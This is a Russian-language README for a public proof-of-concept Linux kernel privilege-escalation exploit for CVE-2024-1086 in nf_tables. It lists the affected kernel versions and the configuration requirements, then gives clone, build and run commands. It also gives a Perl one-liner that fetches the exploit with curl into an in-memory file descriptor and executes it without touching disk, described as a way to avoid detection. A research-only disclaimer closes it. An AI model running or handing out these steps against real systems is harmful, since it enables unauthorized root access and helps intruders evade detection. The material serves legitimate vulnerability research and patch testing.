
Универсальный Proof-of-Concept эксплойт для локального повышения привилегий (CVE-2024-1086), работающий на большинстве ядер Linux версий от v5.14 до v6.6, включая Debian, Ubuntu и KernelCTF. Уровень успеха составляет 99.4% в образах KernelCTF.
Универсальный proof-of-concept эксплойт для локального повышения привилегий через CVE-2024-1086, работающий на большинстве ядер Linux с v5.14 по v6.6, включая Debian, Ubuntu и KernelCTF. Процент успеха составляет 99.4% в образах KernelCTF.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
Полный разбор эксплойта — включая справочную информацию и множество полезных диаграмм — можно найти в статье Flipping Pages.
Эксплойт затрагивает версии с v5.14 (включительно) по v6.6 (включительно), исключая пропатченные ветки v5.15.149>, v6.1.76>, v6.6.15>. Патчи для этих версий были выпущены в феврале 2024 года. Лежащая в основе уязвимость затрагивает все версии (исключая пропатченные стабильные ветки) с v3.15 по v6.8-rc1.
Ограничения:
CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (включая Ubuntu v6.5)CONFIG_USER_NS=y), чтобы эти пользовательские пространства имён были непривилегированными (команда sh sysctl kernel.unprivileged_userns_clone = 1), и чтобы был включён nf_tables (kconfig CONFIG_NF_TABLES=y). По умолчанию всё это включено в Debian, Ubuntu и KernelCTF. Другие дистрибутивы не тестировались, но могут также работать. Кроме того, эксплойт тестировался только на x64/amd64.Значения по умолчанию должны работать из коробки на Debian, Ubuntu и KernelCTF с локальной оболочкой. На непротестированных конфигурациях/дистрибутивах, пожалуйста, убедитесь, что значения kconfig соответствуют целевому ядру. Их можно указать в src/config.h. Если вы запускаете эксплойт на машине с более чем 32GiB физической памяти, обязательно увеличьте CONFIG_PHYS_MEM.
Если вы запускаете эксплойт через SSH (на тестовую машину) или reverse shell, вы можете переключить CONFIG_REDIRECT_LOG в 1, чтобы избежать лишней сетевой активности.
Если это для вас непрактично, есть скомпилированный x64 бинарник с конфигурацией по умолчанию.
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
Бинарник: CVE-2024-1086/exploit
Запуск эксплойта так же прост:
./exploit
Также поддерживается выполнение без сохранения файла на диск, на случай пентест-ситуаций, где необходимо избегать обнаружения. Однако на целевой системе должен быть установлен Perl:
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
Программы и скрипты («программы») в этом каталоге/папке/репозитории программного обеспечения («репозиторий») опубликованы, разработаны и распространяются только для образовательных/исследовательских целей. Я («создатель») не одобряю любое вредоносное или незаконное использование программ в этом репозитории, так как намерение состоит в том, чтобы делиться исследованиями, а не заниматься незаконной деятельностью с их помощью. Я не несу юридической ответственности за то, что вы делаете с программами в этом репозитории.